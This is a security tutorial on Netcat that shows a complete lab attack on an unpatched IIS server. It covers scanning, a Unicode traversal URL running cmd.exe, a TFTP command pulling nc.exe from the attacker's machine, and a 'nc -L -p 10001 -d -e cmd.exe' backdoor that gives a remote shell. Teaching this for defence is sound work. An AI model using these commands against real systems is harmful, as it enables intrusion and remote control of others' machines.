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NetCat Security

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Netcat is a utility that is able to write and read data across TCP and UDP network connections. If you are responsible for network or system security it essential that you understand the capabilities of Netcat. Netcat can be used as port scanner, a backdoor, a port redirector, a port listener and lots of other cool things too. It’s not always the best tool for the job, but if I was stranded on an island, I’d take Netcat with me. During this tutorial I’ll demonstrate a complete hack, using Netcat only, just to point out how versatile it is.

Port scanning with Netcat
A scanning example from Hobbit is “nc -v -w 2 -z target 20-30″. Netcat will try connecting to every port between 20 and 30 [inclusive] at the target, and will likely inform you about an FTP server, telnet server, and mailer along the way. The -z switch prevents sending any data to a TCP connection and very limited probe data to a UDP connection, and is thus useful as a fast scanning mode just to see what ports the target is listening on. To limit scanning speed if desired, -i will insert a delay between each port probe. Even though Netcat can be used for port scanning it isn’t its strength. A tool such as Nmap is better suited for port scanning.

We scanned 192.168.1.1, ports 1-200. We can see that among others, port 80, 21 and 25 are open.

Banner Grabbing with Netcat
So we’re interested in knowing what’s running behind port 80 and 21. We can use Netcat to grab port banners in the following way:

So we know it’s probably a Windows 2000 machine as it’s running IIS 5.0 and Microsoft FTP Service.

Let’s try to send a malformed URL which attempts to exploit the File Traversal vulnerability in unpatched IIS servers (Pre SP3). We will be using Netcat to Check for the vulnerability, and if found (and it will!), we will upload Netcat to the IIS server and demonstrate how we can use Netcat as a backdoor.

If you do not know what the Unicode File traversal exploit is, you can check the “IIS Unicode File Traversal” tutorial, or read it up on the net.

Basically this exploit allows us to “break out” of C:inetpubwwwroot and explore and execute programs anywhere on the attacked machine.

The point here isn’t hacking IIS, but the use of Netcat as a backdoor. Don’t get distracted by the whole “hacking into IIS” thing.

Voila! We’ve sent the URL: http://192.168.1.90/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c: to the vulnerable IIS server and what we see is a directory listing of the IIS server C drive.

Great! Now we want to upload Netcat to the IIS server, so we’ll use TFTP and integrate the TFTP commands into the malformed URL.

tftp -I 192.168.1.9 GET nc.exe

Is transformed to:

http:///c+TFTP+-i+192.168.1.9+GET+nc.exe

Also take a note of your TFTP server, to see if it has successfully uploaded the nc.exe file:

Netcat as a BackDoor
So now we have Netcat uploaded to the IIS server, we want to use it to create a backdoor, in order to get a remote command prompt.
In order to act as a backdoor we need Netcat to listen on a chosen port on the IIS server (lets choose port 10001) and then we can connect to this port from our attacking machineusing Netcat of course!

The command we want to give on the server looks like this:

nc -L -p 10001 -d -e cmd.exe

Here’s what that command does:

nc - tells Windows to run the nc.exe file with the following arguments:
-L Tells netcat to not close and wait for connections
-p Specifies a port to listen for a connection on
-d Tells Netcat to detach from the process we want it to run.
-e Tells what program to run once the port is connected to (cmd.exe)

If we now want to convert this command for Unicode URL use, it will look like this:

http:///c+nc+-L+-p+10001+-d+-e+cmd.exe

Now we will execute Netcat on the remote IIS machine:

This should have started Netcat listening on port 10001 on the IIS machine and should connect the cmd.exe process to the connection stream. From our machine we will try to connect to the Netcat on the IIS server.

Tada! We have now “Shoveled a Shell” using Netcat. We effectively have a remote command prompt of the IIS server, as can be seen from the IPConfig.

Transferring files using Netcat
Let’s look at other possibilities Netcat can provide. Sat we wanted to transfer a file called hack.txt to the IIS server, and for some reason we don’t want to TFTP the file. We can use Netcat to transfer files from one system to another.

To receive a file named hack.txt on the destination system start Netcat on the IIS server with the following command:

nc -l -p 1234 >hack.txt

On our source system (the attacking computer) we send a file named hack.txt to the IIS machine with the following command:

nc destination 1234

Issue a ^C on the source system and your done. Be sure to check the file to be sure it is the same size as the original.
This is what hack.txt looks like

AndVoila!

We can see that the file hack.txt has been transferred to the target system, via port 1234.

These are just a few of the wonderful option Netcat has to offer. Definitely worth RTFMing. Imagine all the wonderful possibilities of overcoming firewalls with netcat

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Mati Aharoni, MCSES, MCT, CCNA, CCSA, CISSP

Visit the Security through Hacking Web site at http://www.secureit.co.il for additional information.

NetCat Security
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